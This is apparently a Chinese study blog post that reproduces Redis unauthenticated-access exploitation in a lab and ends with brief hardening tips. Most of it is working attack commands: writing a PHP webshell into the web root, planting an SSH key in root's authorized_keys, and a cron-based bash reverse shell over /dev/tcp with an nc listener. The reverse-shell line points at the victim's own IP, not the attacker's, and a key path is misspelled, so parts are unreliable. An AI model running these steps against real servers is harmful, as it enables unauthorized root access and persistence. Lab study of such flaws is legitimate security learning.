0x00 前言
前段时间看到想复现学习一下,然后就忘了
越临近考试越不想复习
常见的未授权访问漏洞
今天先学下redis未授权访问
0x01 redis未授权访问漏洞简介
Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。
攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config
命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器、添加计划任务、写入Webshell等操作。
0x02 环境搭建
wget http://download.redis.io/releases/redis-2.8.17.tar.gz
tar xzvf redis-2.8.17.tar.gz #解压安装包
cd redis-2.8.17 # 进入redis目录
make #编译
cd src/ #进入src目录
cp redis-server /usr/bin/
cp redis-cli /usr/bin/ #将redis-server和redis-cli拷贝到/usr/bin目录下(这样启动redis-server和redis-cli就不用每次都进入安装目录了)
cd .. # 返回上一级目录
cp redis.conf /etc/ #将redis.conf拷贝到/etc/目录下
redis-server /etc/redis.conf # 使用/etc/目录下的redis.conf文件中的配置启动redis服务
服务启动成功!
0x03 漏洞证明
redis-cli -h 靶机IP
说明没有设置密码认证,存在Redis未授权漏洞
0x04 漏洞利用
Ubuntu:受害主机 192.168.246.130,A
Ubuntu2:攻击主机 192.168.246.131,B
都开启redist服务
redis-server /etc/redis.conf
一、利用方法一 ——往web物理路径写webshell
1、利用条件
(1)靶机redis未授权,未登录验证
(2)靶机开启web服务,并且知道网站路径,还需要具有文件读写增删改查权限
2.利用过程
config set dir /var/www/html/
config set dbfilename shell.php
set x "<?php phpinfo();?>"
save
浏览器查看web页面
利用方法二 ——导入SSH公钥(用私钥登录)
1、在受害者主机A创建目录
mkdir /root/.ssh/ #创建ssh公钥存放目录(靶机是作为ssh服务器使用的)
2、在攻击机B中生成ssh公钥和私钥,密码设置为空(回车两次)
Ubuntu2:ssh-keygen -t rsa
3、在B中
将生成的公钥保存到hhh.txt
再将hhh.txt写入redis
cd .ssh/
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > redistest.txt #将生成的公钥保存到redistest.txt
cat redistest.txt | redis-cli -h 192.168.246.130 -x set redistest #将保存ssh的公钥redistext.txt写入redis
4、然后登录服务器查看
redis-cli -h 192.168.246.130
config get dir #得到redis备份路径
config set dir /root/.ssh #redis备份路径为ssh公钥存放目录
config set dbfilename authorized_keys #设置上传公钥的备份文件名字为authorized_keys
save
5、在主机B使用root身份进行ssh免密登录主机A
ssh -i id_rsa root@192.168.246.130
注意一定要root身份,不然就gg了
耶✌~~登陆成功
利用方法三 ——利用计划任务执行命令反弹shell
1、利用条件
在redis以root
权限运行时可以写crontab
来执行命令反弹shell
2、利用过程
先在自己的服务器上监听一个端口
nc -lvnp 7999
再连接redis,写入反弹shell
redis-cli -h 192.168.246.130
config set dir /var/spool/cron
set x "\n* * * * * bash -i >& /dev/tcp/192.168.246.130/7999 0>&1\n"
config set dbfilename root
save
0x05 防范方法
1、禁止远程使用一些高危命令
2、为Redis添加密码验证
我们可以通过修改redis.conf文件来为Redis添加密码验证
requirepass mypassword
3、禁止外网访问 Redis
我们可以通过修改redis.conf文件来使得Redis服务只在当前主机可用
bind 127.0.0.1
4、修改默认端口
5、保证authorized_keys文件的安全
0x06 参考
https://www.cnblogs.com/ECJTUACM-873284962/p/9561993.html
https://xz.aliyun.com/t/6103#toc-6